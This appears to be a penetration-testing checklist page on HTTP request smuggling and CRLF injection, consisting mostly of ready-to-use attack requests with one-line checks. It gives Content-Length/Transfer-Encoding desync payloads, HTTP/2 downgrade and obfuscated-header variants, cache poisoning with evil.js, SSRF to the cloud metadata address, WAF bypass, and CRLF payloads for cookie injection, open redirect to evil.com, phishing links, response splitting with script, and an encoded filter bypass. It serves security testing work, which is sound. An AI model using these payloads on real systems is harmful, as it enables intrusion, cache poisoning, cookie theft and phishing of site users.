HTTP Splitting Smuggling
Check List
Methodology
Black Box
HRS With Content-Length And Transfer-Encoding
Inject conflicting Content-Length and Transfer-Encoding headers to test for desync
POST /api HTTP/1.1
Host: target.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1Check if the response indicates the backend processed the smuggled GET /admin request
HTTP/2 To HTTP/1.1 Downgrade
If the site supports HTTP/2, force a downgrade to HTTP/1.1 with a smuggling payload
POST /api HTTP/2
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1Verify if the backend executes the smuggled GET /admin request
Multi-Chunked Smuggling
Inject multiple Transfer-Encoding headers to confuse proxy parsing
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1Check if the smuggled request is processed by the backend
Invalid TE Header Manipulation
Use malformed Transfer-Encoding headers to bypass validation
POST /api HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: cHuNkEd
Content-Length: 60
0
GET /admin HTTP/1.1Verify if the response includes evidence of the smuggled request
Cache Poisoning With HRS
Inject a payload to poison the CDN cache
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 60
0
GET /index.html HTTP/1.1
X-Cache-Inject: evil.jsCheck if the cache serves evil.js to subsequent users
SSRF With HRS
Smuggle a payload to access internal services
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 60
0
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1Verify if the response contains internal metadata (AWS metadata)
WAF Bypass With HRS
Split payloads to evade WAF detection
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
X-Bypass: evasion
0
GET /secret HTTP/1.1Check if the smuggled request bypasses the WAF and reaches the backend
Blind HRS
Inject a time-delayed payload to detect blind smuggling
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 40
0
GET /admin HTTP/1.1Measure response delays to infer smuggling success
Multi-Hop Proxy Smuggling
Inject payloads across a chain of proxies (CDN → Load Balancer → Backend)
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 60
0
GET /admin HTTP/1.1Trace the smuggled request across each hop and check for discrepancies in processing
Basic CRLF Injection
Modify the query parameter by injecting a CRLF sequence to add a custom header
GET /page?input=home%0d%0aSet-Cookie:crlf=injectedCheck the response headers for the injected Set-Cookie: crlf=injected. If present, the endpoint is vulnerable
Cookie Injection
Inject a CRLF sequence to manipulate cookies
GET /page?input=home%0d%0aSet-Cookie:hacked=trueVerify if the response includes the injected cookie (hacked=true) or affects session behavior
Redirection/phishing
CRLF Injection can be used to inject links that redirect users to phishing sites
%0d%0a%0d%0a%3CA%20HREF%3D%22https%3A%2F%2Fexample.com%2F%22%3ELogin%20Here%20%3C%2FA%3E%0A%0AObserve if the browser redirects to phishing page
Open Redirect
Inject a Location header to redirect to a malicious site
GET /page?input=home%0d%0aLocation:https://evil.comObserve if the browser redirects to https://evil.com
HTTP Response Splitting
By injecting %0d%0a (Carriage Return + Line Feed), an attacker can split the server’s HTTP response into two parts. This enables manipulation of headers and body content in unexpected ways
/vulnerable-endpoint?q=abc%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert('Unk9vvN!')</script>%0d%0a → Ends the current header line and A new HTTP/1.1 200 OK response starts with a malicious script in the body
Test XSS Protection Bypass
Inject a payload to disable XSS protections and execute JavaScript
GET /page?input=home%0d%0aX-XSS-Protection:0%0d%0a%0d%0a%3Cscript%3Ealert(document.cookie)%3C/script%3EVerify if the response includes X-XSS-Protection: 0 and the script executes
Test GBK-Encoded CRLF Bypass
If standard CRLF payloads are blocked, use GBK-encoded characters
GET /page?input=home%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=unk9vvnCheck if the response includes the injected Set-Cookie: crlfinjection=unk9vvn
Test for CRLF Injection using cURL
curl -I "https://target.com/page?input=home%0d%0aSet-Cookie:crlf=injected"Check the response headers for set-cookie: crlf=injected
HTTP/2 301
date: Mon, 12 May 2025 12:46:42 GMT
content-type: text/html
location: https://example.com/
set-cookie: crlf=injected; -> vulnerabilityWhite Box
Cheat Sheet
Last updated